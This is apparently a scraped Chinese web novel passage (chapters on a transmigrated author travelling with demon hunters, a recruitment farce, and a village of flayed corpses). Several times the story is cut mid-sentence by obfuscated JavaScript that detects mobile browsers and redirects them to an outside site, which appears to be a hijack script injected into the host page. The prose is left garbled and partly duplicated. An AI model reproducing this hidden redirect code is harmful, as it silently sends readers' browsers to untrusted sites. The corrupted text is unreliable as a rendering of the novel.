无端门的人向来克己复礼,何时见过此等泼皮,因为也只能反驳几个断断续续的“你”字。 书环在一旁看得直摇头。 正经的无端门遇上无赖的明月楼实在是有些不够看,她清了清嗓子,正打算开口帮忙,突然迎面撞上一阵霜风。 原是同样不擅言辞的莫临江率先出了剑,有她开头,后面的混战就变得自然许多。 书环和兰驿各自杵着一根拐杖站在观众席,一个时而鼓掌时而欢呼,一个偶尔挥扇挡一下不小心打过来的符箓和术法。 “为了一条蛇打的这般激烈,何苦来哉——等一下,搭子你这么激动做什么?” 书环一愣,总不能说自己看到男女主交手很激动吧。 她眼珠子滴溜一转:“我第一次看见这么厉害的术法!” 说起这个兰驿就来了兴趣。 “来,我给你介绍介绍!” “你不去帮忙吗?” “有我师姐在,怕什么?再说了,”他指了指自己,笑道:“我最擅长的是吃喝玩乐游山玩水,打架这种事……不适合我。” 书环无言以对,默默听兰驿点评众人。 “那个叫歪七的招式很阴。” “他的同胞兄弟扭八也好不到哪里去,经常到处偷师,那段时间搞得捉妖师都不敢在外拿出看家本领,喏,就那个穿红色裤子的。” 书环吐掉嘴里的瓜子壳,诧异道:“他没被人打吗?” 兰驿嗤笑一声:“他是谢归川手下的人,谢归川是谁,明月楼未来的楼主,只要他一天不倒,谁敢跟扭八动手?” 书环从中听出了几分不满。 “瘸腿搭子,你看起来有一点讨厌谢归川。” “只有一点吗?我明明是很讨厌!” 原书里兰驿露面的时机不多,书环也没细想过这个问题,于是问道:“为何?” 他反问道:“你知道奏谳大礁吧?” 设定太多,她花了将近一分钟才想起来。 “捉妖界十年一次的盛会,无论大小,所有的捉妖门派和世家都会参加,祈求风调雨顺的同时,会在此期间通过问天鼎对十年内捉到的妖邪定罪,也可以说是妖邪的定罪大会。” 兰驿又摇起了那把破扇子:“对,就是这个。数年前我第一次参加,因为从未去过此等盛会,所以特意装扮了好几个小时,从头到脚,无一不是精挑细选,就想凭此给大家留个好映象,我当时也确实成功了,见过我的人都夸我玉树临风,谁知……” 他咬牙切齿道:“谁知半路杀出个谢归川!他长得比我好,修为比我高,地位在我之上,就连扇子也是大名鼎鼎的仙器凤凰泣!” “你说,这种情况下我怎么可能比得过他!” 书环:“……” “所以……你参加这种盛会只是为了在外貌上把别人比下去?” 兰驿一昂脑袋:“那当然!总不能学那些人谈理想谈抱负吧?若某些捉妖师都如他们说的那般心系苍生的话,这天下也不会有那么多妖邪作祟了。” “所以说,这些看不见的东西不一定是真的,但是!” 他突然郑重道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有人忙中结印,将他和扭八调换了位置,扭八正处于兴奋之中,一个不慎便着了道,裤子被风扒了下来,在空中打了几个旋后高高的挂在了树杈上。 他看了看自己身上的花裤衩,疯狂大道:“没想到吧,我还有一条!” 书环:“……” 兰驿:“……” 无端门众捉妖师:“……” 有人咬牙切齿道:“欺人太甚,跟他们拼了!” 数不清的符箓被抛了出来,法印一层叠一层的铺向天地四周,各色法器跟不要钱似的呼来召去。雷鸣声、爆炸声、法器相撞声,以及风吹水淹火烧都在此刻交替上演。 书环和兰驿不约而同的长大了嘴。 另一边莫临江和谢归川也停了下来,同时道:“住手!” 可惜晚了一步。 一道剧烈的爆炸声响起,书环被震飞十余米,眼睁睁看着看着一朵蘑菇云拔地而起,在高空中激荡开来。 玄光四散中,有一团黑漆漆的东西朝她飞了过来。 书环飞速思考:众多法器撞上众多符箓,说不定是融合出了什么宝物呢! 她三两下从地上爬起,朝它张开双臂,宝物径直撞了上来,她被惯性带着滚了好几圈,然后一睁眼,一颗巨大的蛇头正安静的躺在她的怀里。 “啊——” 晕倒前的最后一眼,她看见许多人头凑了过来。 5. 明月楼招生简章 再次睁开眼看见的依旧是许多人头。 屋子里密密麻麻挤满了人。头这侧是无端门众人,穿着清淡素雅;脚那边是明月楼众人,穿着花里胡哨。 兰驿第一个扑上来。 “瘸腿搭子你终于醒了!师姐说你没什么问题,但你迟迟不醒,我还以为自己刚交到的好朋友就这么没了呢!” 书环看了看屋内的装饰,陈设简单,用作装饰的家具更是没有,他们大约找了户农舍安顿她,窗外天色大亮,离她晕倒最短也过了一夜。 谢归川上前一步。 “姑娘可有不适?” “还好。” 书环撑着坐起身,见众人的目光一直黏在她身上,遂问道:“你们干嘛这么看着我?” “是这样的,”兰驿挥着破扇子给她扇风“搭子,你晕过去的时候不是抱住了蛇首吗?因你不是两派的人,这东西又在你手里,我们不好擅动,只能等你醒来由你决定它的去向,你放心,我们会给出远超蛇首价值的东西来交换,不会让你吃亏的。” 书环了然。 这么说来,自己是不是可以凭此想办法加入主角团? 蛇头果然是个宝贝! “书环姑娘,只要你愿将蛇首相赠,家师所制法器你可以任选一样。” 莫临江道:“无端门愿以一次人情交换。” 书环看了看两人,思索道:谢归川的师父是捉妖界有名的炼器师,其所练的法器威力巨大,只要不遇上修为逆天的妖物,保命基本不成问题。 而莫临江给出的条件则更诱人了,无端门的人情诶!这要是遇上什么事,凭此请无端门门主出山也不成问题。 可惜两个条件虽好,却都不是她想要的。 书环遂摇头。 “我都不想要。” 兰驿一愣:“那……搭子你想要什么?” “我想要以蛇首换与你们同行。” 莫临江道:“捉妖一事危险重重,敢问姑娘为何要同行?” 书环开始瞎编:“我运气不好,早些年亲人陆续因为各种原因去世了,好在父亲和祖父都是教书先生,我从小耳濡目染识些字,尚能靠写话本为生,只是时间一久便写不出新奇的东西,便想着出来游历一番,收集点素材,写点跟捉妖有关的,所以……” “你们放心,我十分惜命,虽要同行看捉妖,但绝不会多添麻烦。” 她前脚刚说完,歪七后脚就跳了出来,在中间的空地上摆了个十分夸张的姿势。 “姑娘需要保护?不如看看我们明月楼。我们不怕你添麻烦。” 扭八紧跟其后。 “捉妖百年,妖见妖跑,鬼见鬼叫。” 又一人跳了出来。 “从前有座山,山上有座庙,庙里有个老和尚在给小和尚讲故事,他讲的故事是‘从前有座山,山上有座庙,庙里有个老和尚在给小和尚讲故事’,没错,这就是我们明月楼的无边幻术,精不精!妙不妙!” 再一人跳了出来。 “震惊!九旬老太无故惨死,只因明月楼的人路过,竟死而复生,将凶手绳之以法!” “震惊!母猪难产数个时辰,只因明月楼的人路过,竟一口气生了十三只崽,母子平安!” “……” 最后一个跳出来的是一位红衣男子,他化着魅惑的眼线,涂着烈焰红唇,朝书环抛了个大大的媚眼。 “没错,这就是我们无所不能大名鼎鼎的明月楼!” 众人齐声:“姑娘!考虑一下?” 书环十指扣地,一股巨大的尴尬从脚底板窜向天灵盖,教她恨不得打个地洞立马钻走。 怎么会有这么让人尴尬的招生视频? 怎么会! 在他们表演完的很长一段时间里,屋内一片死寂,兰驿早已转过身去,从他一抽一抽的背影来看,此刻憋笑正憋得痛苦。 谢归川早已被他们挤到了门边,以扇掩面,恍若不识。 书环扯了扯嘴角,转而看向莫临江,仿佛在看一根救命稻草:“莫少宗主,你……赶紧把蛇首搬走吧!” 她一刻都不想多呆了! 莫临颔首:“嗯。” “切——” 明月楼众人唏嘘一声,懒懒散散的站回谢归川身旁。 谢归川见蛇首的归属已定,又刚经历一番极为尴尬的场面,便不打算多留。他轻轻抬了抬手,身旁的弟子递上一个木盒。 “姑娘,当日撞伤你是明月楼的疏忽,这盒蛟珠全当赔礼,还望姑娘海涵。” 书环打开木盒,琳琅珠光顿时倾斜而出,兰驿吸了口冷气,凑到她身旁道: “我的天!这么多蛟珠!谢归川出手真大方!我觉得你可以原谅他。” 书环拿起一枚细细的看了看,蛟珠在晨曦朦胧的光线下散发梦幻的光泽,那光透过她的瞳孔,竟让她从中看到了高山流水的景象。 书环又拿起一枚,流光溢过,这次看见的是深谷幽林。 蛟龙又名蜃龙,其吐出的气能在空中聚出虚影,也就是所谓的海市蜃楼。 《万妖经》上记载,九十九颗蛟珠便可开辟一方小天地,而谢归川送的这一盒,少说也有十几二十颗,难怪见多识广的兰驿那么激动。 书环将蛟珠原封不动的放回去。 “昨日掉进蛇坑谢少主曾救过我,功过相抵,谢少主不欠我什么。” “救人乃捉妖师的本分,二者怎可相提并论,姑娘若不收下,吾心难安。” 书环思索一番道:“既如此,那谢少主赠我一些基础的符书便好。” 兰驿突然开了口:“符书不错,搭子你的这支笔用来画符正好。” 他盯着看了半晌,咂嘴道:“我同捉妖师打了这么多年交道,好东西见过不少,像这般有灵气的笔还是第一次见,师姐觉得呢?” “确实难得。” 书环闻言拿起坠在腰间的毛笔仔细端详着,但见笔管修长,由一整块青玉打磨而成,色泽温润,触及生凉。 这支笔是她穿书前在一位古董商贩那里看到的,说是清朝的东西,原主人是位文官,书环瞧着东西好看,完整度也高,便掏钱买了下来,用它给角色画人设图,裴殊那副画便出自它。 谢归川递上符书:“有此好笔,倒也不算辜负了这些符术。诸事已了,在下也该启程,奔赴下一妖异之处。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰驿一口应下,飞快的收拾好东西,塞给书环一大堆符箓,扛起装有蛇首的箱子,潇洒的侧身,恣意道:“师姐,搭子,我走也!” 说完大步流星离开。 两人目送着他远去,书环感叹道:“真潇洒啊!” 从初遇到分离不过一日,远比她在书里写的更潇洒。 “兰师弟一向如此。” 莫临江顿了顿,面无表情的补了一句。 “你是他结交的第四百余位好友。” 书环:“哈?” 兰驿的背影早已消失不见,书环却还沉浸在四百余位好友的冲击里,许久不能平静。 在此处修整半日后,莫临江决定带着人启程,书环早在期间同大部分人混了个眼熟,正式加入捉妖小分队的她坐在莫临江给她准备的马车上,掏出从其他捉妖师那里拿的小册子,提笔写下了穿书以来的第一段话。 “穿书第二天,同笔下女主一起去捉妖,欧耶! 反派不知尚在何处,随遇而安。” 6. 即兴创作 “传闻早在千年前,凡间妖物尚如秃子头上的黑发般稀少,直至数百年前的某一天夜里,大陆北边传来一声巨响,地面凭空多一个巨坑,从那以后,世间的妖物就多了起来。 妖物多了,难免有一部分会去作怪,自此衍生出了以捉妖为生的道人。 起初捉妖人多是独自行走,耐不住妖物日渐强大,从而促使了捉妖门派和世家的出现。 早年捉妖门派泛滥如野花,然而数百年大浪淘沙下来,还叫得出名字的只剩下无端门和明月楼。 两派建立时间接近,门派实力接近,偏偏最擅长的术法不同。无端门以阵法立身,天下阵法万千,无端门独占九成。明月楼则凭符咒闻名,其间咒术如同天上繁星,种类繁多,囊括世间万物。 两派的内部结构也有所不同。 无端门内设有三宗:天宗监天魔,地宗镇地鬼,人宗除人妖。 明月则没有这般细致的划分。 二者的长处与短处也都很明显。 无端门弟子精研一道,修为高出明月楼同期弟子一大截,劣势便是捉妖的不能捉鬼,捉鬼的不能捉妖。而明月楼弟子什么都能捉,却也什么都要学,虽说到一定修为后会比只修一道的人更厉害,但那终究太遥远。 加之近两年一派出了个天之娇女,一派有个天赋奇高,上下臣服的少主。任谁看了都得赞叹一句,简直就是天生的对家! 再说那天之娇女和天才少主……” 书环合上名为《无端门和明月楼相爱相杀那些年》的话本,顿时有些哭笑不得。她买话本是为了看看这个世界和她设定的背景有没有什么出入的,谁知竟画风一转到了两位主角身上。 果然,无论在哪个时代,磕cp都是很流行的事。 她放下话本,转而拿起谢归川赠的那本符书。 明月楼符咒精妙绝伦,谢归川给的这一本貌似是新入门的弟子所学,难度并不高,所以为什么她画符的这段时间不是被烧就是被劈? 书环得不出答案,只得再一次提起笔,边画边道:“再敢烧我或者劈我我就不学了!” 笔锋游走在黄表纸上,留下一串蜿蜒的符文,书环不敢分心,对照着符书小心翼翼的收了尾。 随即十分熟练的放下笔抱住头往后缩,默数了十个数。 风平浪静。 她睁开眼,小心翼翼的探出手,意料之中的烈火并没有出现,掀开车帘一看,外面的天蓝得透亮,熟悉的雷也没有劈下来。 “欧耶!我画成了!” 话音刚落,眼前的符泛起了红光。 书环顿感不妙,刚想躲,却被一股大力连同马车顶一起掀飞出去。 “啊啊啊啊啊——” 她在莫临江略带诧异的目光里扑腾着四肢飞向天空,到了一定高度后再落下去。 “啊啊啊莫姐姐闪开!” 她破开层层土石,再度砸出个深坑。 书环在坑底翻了个身,苦中作乐的想这次运气好像还行,坑的位置很妙,莫临江不用多走一步就能看到坑底的景色。 “书环姑娘,你还好吗?” “我……还行。” 她看见莫临江双手翻了几个印,随即一股白色云雾倾泻而下,将她一层一层的裹了起来,然后轻轻托着出了坑。 莫临江给她检查完身体,又喂了几颗丹药,这才有机会问道:“刚刚发生什么了?” “我……在画符,画完就被炸飞了。” “画符?” 莫临江略微沉思。 “你画的符还有吗?给我看看。” “没有了,不是被烧了就是被雷劈了,这一次的更是炸的连渣都没了!” 书环见她神色不对,问道:“莫姐姐,难道……你们画符不会出这种事吗?” “据我所知,没有人画符会这样。” 书环心头一颤。完蛋!就知道这种非正统穿书要出事! 反派害我! 莫临江叫人拿来了画符的工具。 “你再画一次,我试试能不能看出问题。” 她咬唇道:“好。” 提笔沾满朱砂,笔锋在莫临江的注视下游走起来。 这是一张入门级别的辟邪符,结构简单,书环画过很多次,当然,也被火烧过很多次,故而收笔的第一反应就是往莫临江身后躲。 躲了一会后,莫临江拍拍她的肩。 “出来吧,无事发生。” 她探出脑袋一看,符还是她刚画好的模样,没有一丝被烧毁的痕迹。 莫临江拿起符纸:“你很有天赋。” 书环突然就不好意思起来。 她话风一转:“不过,我纵观全程,并没有发现不对的地方,从你画符的熟练程度来看,不像是会失手画错的样子。” 书环挠头:“就算画错也不会次次错,偏偏就这一次画对了。” “正是如此,所以因何而起,还需日后再多观察,你别怕,不管是何种妖邪作祟,总会有现行的一天。” 书环心道,正是因此她才害怕啊!万一哪天莫临江看着看着发现了什么端倪,那她这个外来者的身份就藏不住了。 她叹了口气,转移话题道:“但愿如此吧,莫姐姐,我们接着赶路吗?” “先休息片刻,五里外就是目的地。” 日暮时分,山中蔓延起了薄雾,空无一人的林道上突然走来一群人,个个身穿白衣,远远望去仿佛是民间传说里的收魂使者。 待走近了再瞧却发现这群人个个手执法器,表情肃穆,大步行走间仿有正气溢出,逼得阴邪之气步步退让。 正是莫临江一行人。 书环因马车被炸毁只能跟着走路,考虑到她自保能力较弱,大家不约而同的将她围在了中间,身旁就是修为最高的莫临江,可即便如此,她还是搓了搓手臂,道: “真渗人!” 挥散不开的雾气危机四伏,仿佛随时能从中钻出个什么东西将人拖走,书环想着想着创作欲就上来了。 她清清嗓子,试探道:“那个……你们听过一个故事吗?” 众人面带疑惑的望向她。 她接着道:“传闻有个屠夫,每天都要去山上打猎维持生计,这天他照旧去往山上,寻找昨日布下的陷阱,看有没有动物上钩,怎料突然迷了路。 屠夫觉得很奇怪,这座山他常来,大大小小的路他都走过无数遍,从未迷过路,他心知有异,于是破口大骂,又抽出随身携带的刀防身,要知道,那刀可是杀过不少生灵的,诸位都是捉妖师,自然知道此刀压制妖邪。 果然,此番操作后屠夫顺利走了出去,只是见到的却不是他布下的陷阱,而是一具已经腐烂的尸体。” 年纪最小的那个捉妖师追问道:“然后呢?” 书环道:“然后?然后屠夫觉得晦气,唾了口唾沫,连猎物都没收,就那么空着手下了山。 夜里听见有人急促敲隔壁的门,囫囵说着些他听不懂的话,他担心有异,于是提了把刀出去,结果开门一看,找他的是村上的壮汉,说村里有人丢了,要上山去找。” “不会就是他看见的那具尸体吧?” 书环没回答他的话,只接着道:“从前也出现过人走丢的事,屠夫听了二话不说就跟着上山,众人提着火把边走边喊,越往上走屠夫的心跳得越快,直到走至他白天看到尸体那处时,他的心跳彻底停滞了。” 小捉妖师面带喜色:“我猜对了是不是!” 书环微笑着反驳:“不,你猜错了,屠夫与众人一起看到的,是他自己的尸体。” 小捉妖师大惊:“怎么可能!他看见的尸体明明已经腐败了!” “我也没说他白天看见的那具尸体也是自己的啊!” “那是怎么一回事?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419215|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 书环看向莫临江:“莫姐姐肯定知道。” 莫临江接过话头:“有一部分人横死后会滋生怨气,导致被困在原地不能投胎,除非有人替代他。” 小捉妖师恍然大悟道:“所以屠夫就是被引过去替代他的那个人。” 他问书环:“书姐姐,你为什么会突然想起讲这么一个故事。” 书环故作高深拉长了嗓子:“因为……屠夫死的那天……也起了眼前这种浓雾。” 见少年被吓得一缩脖子,书环满意的一笑,快着倒退两步,这才转过身去。 因着方才要根据听客的表情对故事节奏做出改变,所以书环选择了倒着走,这样一来她就成了所有人里走在最前方的一个。 就在她笑着转身站定的刹那,身前的浓雾突然扑向两边,露出一个披麻戴孝的人来。赫然对上一张惨白的脸,书环吓得猛吸一口气,两腿一软向后倒去。 小捉妖师连忙和身旁的人伸手扶住她,嘴里嘟囔道:“刚刚胆子的胆子哪去了,吓成这样?” 书环:“……” 她哪能知道在众多捉妖师的保护下还能遇见这种诡异的事! 一本书要写的剧情太多,她记性不好,细伏笔啥的向来记不住,只能靠写之前粗略看一遍前文,这也导致她穿书后只知道剧情的大体走向,至于细节…… 呵呵! 莫临江见人没事,上前道:“在下无端门捉妖师,见此山有异,特来探查。” 那人略微浑浊的目光扫过众人身后背的和手上拿的法器,又瞧了一眼腰间悬着的刻有无端门记号的信物。 这才开口道:“跟我来吧。” 书环听着那嘶哑的嗓音又是一抖,同身旁的少年说:“我刚刚吸了好大一口雾气,感觉嗓子不舒服。” “你那是被吓的吧!真是没想到啊,你胆子竟然这么小!” 书环转过头去装没听见。 披麻戴孝的男人一路上都没说过话,带着众人兜兜转转一圈后,走到一片略微开阔的空地,留下一句“就是这里”便重新走入雾里,几下就没了踪影。 书环顺着泥路望过去,许是有人居住的原因,雾气淡了些许,隐隐约约看见许多农舍,此刻都是大门紧闭的模样,整个村落呈现出一种诡异的静谧。 莫临江身侧的一个捉妖师在几间民舍前看了看,道:“少宗主,门都锁上了,里面没人。” 书环听身旁少年道:“难道都举家搬迁了?” 她摇头:“不大可能,举家搬迁需要财力,他们若是有钱,也不会住在这种深山之中,或许是藏起来了吧。” 少年摸摸脑袋:“有道理。” 书环记得大概剧情,知道她们最后能成功收伏此地的妖邪,于是也不过多插手,将一切都交给莫临江这位原书女主。 莫临江的目光落在远处一间较大的屋舍上,方才木门开了条缝,有人透过那条缝窥探她们。此举虽隐蔽,但还是没逃脱她的眼睛。 众人行至屋舍前,见地上散落着一些刀,遂问道:“这是什么?” “简单的驱邪阵。” 里面的人很沉得住气,她们在这站了半晌也没有动静,莫临江单手结印,直指地上的驱邪阵。 “住手!” 木门被人大力掰开,发出沉重的吱呀一声。一个年纪颇大但目光清明的男子走了出来,之所以说是男子,是因为他行动利落,没有老者身上的衰老之气。 他面色不善的瞪了众人一眼:“好端端的破坏的驱邪阵做什么?全村的人都靠它保命。” 莫临江不为所动:“这样的驱邪阵防不住外面的东西。” 那人搓了搓乱糟糟的头发,语气颓然:“我这不是……没有办法了吗?” “发生什么了?” 他扫了一眼众人的穿着打扮,这才道:“在你们来之前,这个村子已经死了十多个人了。” 7. 剥皮客 “我是这个村的村长赵元章。” 赵元章一边说一边将众人带进了屋子,木门一关,屋里顿时暗了下来。 赵元章掏出油灯正欲点燃,里屋突然钻出个人拦住他。 “不可以啊村长!一点上灯,他就知道我们在这了!” “别怕,别怕,你看她们,她们是捉妖师,给咱们捉妖来了。” 男人愣愣的看过来,目光里尽是恐惧,听到赵元章的话后恐惧一点点被喜悦蚕食。 “是捉妖师……真的是捉妖师!太好了!咱们有救了!我得快些把这个消息告诉乡亲们!” 男人跌跌撞撞的跑回了里屋,似乎是掀起了什么盖子,过来一会后,一个又一个的人从里屋小心翼翼的走了出来。 走在最前头的是壮年男子,中间的是妇人小孩和老者,至于更后面的……书环不知道,因为光是这些人就已经把屋子里塞满了。 她有些诧异:“屋里有地道?” 赵元章点头:“早年先祖来此避难时挖的。前些日子出了事后,我担心村民分散开来会更容易出事,便将大家聚集到了一起。” 莫临江问道:“村长会术法?” 他面带惆怅:“幼时随师父修行过一段时间,可惜学艺不精,哎。” 这声叹息来得沉重,留得短暂。 莫临江没有在意,又问道:“从最初有异象到现在过去了多长时间,死去多少人,其间种种,劳烦村长细细道来。” 赵元章眯了眯眼,慢慢的回忆起来。 “要说不对劲,那应该是一个多月前的事了。村口老刘家来告状,说家里丢了两只鸡,怀疑是被人偷了,咱们这些乡村人,身无长物,素来将牲口看得重要,老刘家的人更甚,于是我带着人将整个村子从上到下挨着搜了个遍,没找到。” “大家理所当然的觉得是被狐狸或者黄皮子偷了。一来村子里的人大多和睦,从未出现过偷鸡摸狗的事;二来野兽偷家禽不算稀罕事。” 众人静静听着,没有出声打断。 “后面的一段时间里,村子上的家禽消失得更多了,大家找过数次,皆是无功而返。直到数日前,老刘家的丢了头羊。” “他咽不下这口气,于是趁着半夜大家都睡了上山寻找。” 众人听到这均是不忍,几乎已经预想到了他的结局。 赵元章眉头紧紧锁着:“第二天我们发觉不对找上山的时候……他只剩下一具尸体了,并且……并且被人扒了皮,皮就扔在离尸体不远的地方。” “不瞒诸位,当时我以为那只是一场有计划的仇杀,因为老刘这个人,素来喜欢因为一点小事跟人斤斤计较,加上那时我并没有察觉到妖气,所以……” 莫临江接过他的话:“所以你让每户人家待在自己屋子里,既有躲避妖邪,又有想暗中探查的用意。” 赵元章点头。 莫临江问道:“赵村长,我有一点很好奇,若此事当真是人为,你打算如何揪出他?” 赵元章苦笑了一下:“这个问题我没有办法回答你,因为还不等我有所动作,就又有人出事了。” “这次出事的是几个村里的壮年,无一例外,全部被扒了皮。” 他的目光透过昏暗的油灯死死的凿在每个人身上,仿佛要教人透过那盏油灯窥见当日血腥恐怖的场景。 “大家都十分气愤,吵着闹着要同对方拼了,可我们连对方是个什么东西都不知道,拿什么去拼?于是我只能设法先拖上几日,说,就算要拼也要先让死者入土为安,大家听了我的话,纷纷搭建灵堂,将死者收敛入棺,准备停棺三日就抬上山。” “那三日全村的人执意为死者守灵,我拗不过,只能日夜陪着他们,好在无人出事,一夜过后便是上山的日子了,也就是今天。” “村里的青年男子抬棺,妇女老者跟在其后,一切都进行得有条不紊,可偏偏……上山上到一半的时候起了雾。” 屋子里响起了低低的啜泣声。 莫临江问道:“这次死了多少人?” “八个,其中七个是抬棺的青年,一个是少年。” 他抖着嘴唇:“最重要的是,这次被扒走不仅仅是皮,还有肉。” 书环打了个颤:“所有人的皮肉都被扒了吗?” “那倒不是,唯一一个少年只被扒了皮。” 莫临江朝窗外看了一眼。 “那些尸体和棺材呢?” “都带回来了,在村后山下那片坪子里放着。” 莫临江的手指在桌上轻轻敲击,书环暗自数了数,敲到第十下的时候她开口了。 “屋子里待太多人会出事,你将人分成三批,另外两批躲进旁边的屋舍内,我会让人在屋外布阵保障你们的安全。” “行,我这就安排。” 赵元章飞快的将人分为三批,每一批人里都留有壮年照顾老者幼童,莫临江看着屋内剩下的人问道:“村子里所有人都在这里了吗?” 赵元章一愣,接道:“都在这里了。” “没有一个披麻戴孝的吗?” 他一拍脑门,苦恼道:“你说王孝生啊!哎哟!他唯一的亲人死了,就是那个少年,说什么也不肯跟我们走,死活要给他弟弟守灵。” “他家住在哪?” 赵元章指了个方向,道:“喏,道君朝那边走,倒数第二家就是了。” 莫临江颔首,看着众捉妖师布好阵,转头对书环道:“等下我们要去看尸体,你害怕的话可以留在这里。” 书环咬咬牙:“我也去!就当是积累写作素材了。” 莫临江没有反对,留下三人守卫在此,甩出几道符测试过阵法的牢固程度后便带着其余人去了赵元章口中那个坪子。 天色渐渐暗了下来,坪子位于山谷之间,村民约莫在此开采过石头,地上毫无规律的摆放着各种大小不一的石块,加之光线晦暗,浓雾笼罩,很容易便会将石块认成棺材。 “这个地方……真是莫名的渗人。” 书环突发奇想:“莫姐姐,你说,若是这时候队伍里混进别的人,我们是不是也发现不了?” “不会,无端门弟子身上有一种特殊的气息。” 她安下心来,走了约莫一百米,忽然闻到一股浓厚的血腥味,其中还夹杂着一点腐烂的味道。 呕吐之意刚涌上喉头,便有人往她嘴里塞了一颗丹丸,一股凉意顺着喉咙倾泻而下,将翻腾的胃安抚下来。 书环拍着胸脯缓了两口气,再度抬眼时,一具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419216|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸体出现在了她视线范围内。 她这一生从未见过如此恐怖的场面,尸体手脚没有规则的卷曲着,看得出死前十分痛苦,全身上下糊着一层黏腻的血,血迹较少的地方露出了黄白相间的皮下组织。 莫临江缓步上前将尸体从各个角度都看了一遍。 踩着枯暗的草向前数步,又是几具尸体摆在地上,应该就是今天出殡时死的人,因为事发突然还没来得及收敛。 莫临江只扫了一眼便道:“少了一具。” 其余人在周围查探一圈,纷纷摇着头回来。 “没看见那具少了的尸体,也没有妖气。” 书环跟着莫临江身后将这些尸体翻看了个遍,这几具尸体死状更惨,只剩下一些被撕裂的肌肉和肌腱包裹着骨架。 “少了一具少年的尸骨。” 书环想起了那个披麻戴孝的男人:“会不会是那个叫王孝生的带回去了?” 少年叹道:“那他还真是胆子大,旁人都不敢出门,他却跑来给自己弟弟收敛尸骨。” 莫临江没有对此发表意见,她目光落到前方摆得乱七八糟的一排棺材上:“先开棺。” 随着一声声沉重的吱呀声响起,厚重的棺材板被推开,露出了棺内的全貌。 书环依次看过去,发现这几具尸体虽然开始腐败,但身上的肌肉都还在。 莫临江提步走至最左边的那口棺材面前站定。 “莫姐姐,你看出什么了吗?” 她指了指尸体的右手:“这具尸体身形偏瘦小,腐败程度更高,应该是最先出事的。” 她停顿了一瞬,接着道:“并且,他的皮剥得不完整。” 紧接着她又指向第三、四口棺材,道:“这二人先于其他几人死去,凶手对他们动手时虽有了老刘的经验,但还是剥坏了一些皮,后面几人的皮就完好无损。” 众人恍然大悟。 小捉妖师道:“可是少宗主,为什么先死的这些人眼睛都还在,后死的几人却被挖了眼睛?” 书环嘴角一抽,心道年轻人胆子就是大,她只敢看个大概,这少年居然连人有没有眼珠子都看到了。 莫临江敛眉道:“这也是我为此感到困惑的地方,凶手似乎每次所图的东西都有些细微的变化。” “莫姐姐知道是什么妖物了?” “有些猜测,还需验证,天色已晚,先去找王孝生。” 众人顺着原路返回。 谈起王孝生,小捉妖师不免疑惑道:“少宗主,这个王孝生胆子好大,都死了这么多人他还敢一个人待着,他真不怕妖物找上他吗?” 书环道:“胆大是一回事,心死又是一回事,你方才没听村长说吗?他唯一的亲人死了,我想若是此刻将杀人凶手提到他面前,他能立马将人刮了,你信不信?” 少年一哆嗦:“信归信,但能不能不要动不动就刮人,非得跟这层皮过不去吗?” 几人步子迈得快,说话间已到了王家。 莫临江推开柴门,不大的院落瞬间被几人的身躯占据。书环抬眼四处瞅了瞅,院落虽小,但打理得很干净,篱笆边还种满了花草,若放在平时也定是一副“采菊东篱下”的悠然景象,可惜这份悠然被一座简陋的灵堂打破了。 8. 美男 灵堂正中跪着一个人,从身形上来看,正是下午引她们到村落的男人。他的面前放着两张长凳,长凳上摆着简陋的草席,草席之上,是一具被白布盖着的遗体。 莫临江上前跪在了他旁边,从旁边堆着的纸钱里捡起两张放进火盆里,书环和另外两人对视一眼,自觉的退回到了院子里。 莫临江烧完一叠纸才开口:“听赵村长说,你不愿意同他们躲一起,为什么?” 王孝生久久的沉默,一直到书环以为他不会回答时才开口。 “我要给弟弟报仇。” “捉妖是捉妖师的事。” 王孝生猛地抬眼:“不!我不要你们替我报仇!我要自己动手!” 莫临江语气平静:“人如何与妖斗。” “我准备了一件红衣,如果我没能杀了它,那我就化作厉鬼,再与它斗。” 元清一听这话便皱起了眉,头也不回道:“王公子,想要化厉鬼没有你想的这么简单,你穿着件红衣去同妖物赤手搏斗,最大的可能是你被他杀死,连同魂魄一起被吞下去,连个转世的机会都没有。” “你在骗我。” 元清三指合并:“我元清从不骗人。” “就算是这样,那我也不能什么都不做,死的是我弟弟……” 王孝生又往盆里递了几张纸,抬头看向莫临江:“这位道君。” “我姓莫。” “莫道君,你很厉害?” 莫临江盯着他的眼睛:“你想说什么?” “村子里的人已经躲起来了,我相信莫道君不会让他们置身于危险之中,但我不一样……” 莫临江何其聪明,光听开头便知道他想做什么,回绝道:“无端门从不以人为饵。” “不管你以不以人饵,我都会待在这里。” 莫临江站起身,不缓不急道:“打晕一人,于我而言并非难事。” 怎料王孝生不知从哪摸了把刀架在自己脖子上:“你敢动一下,我就死在这!” 三人在门外听见这动静,立刻拔腿窜了进去。 “有什么事放下刀再说。” “诶诶诶,好好的怎么动刀子了呢。” 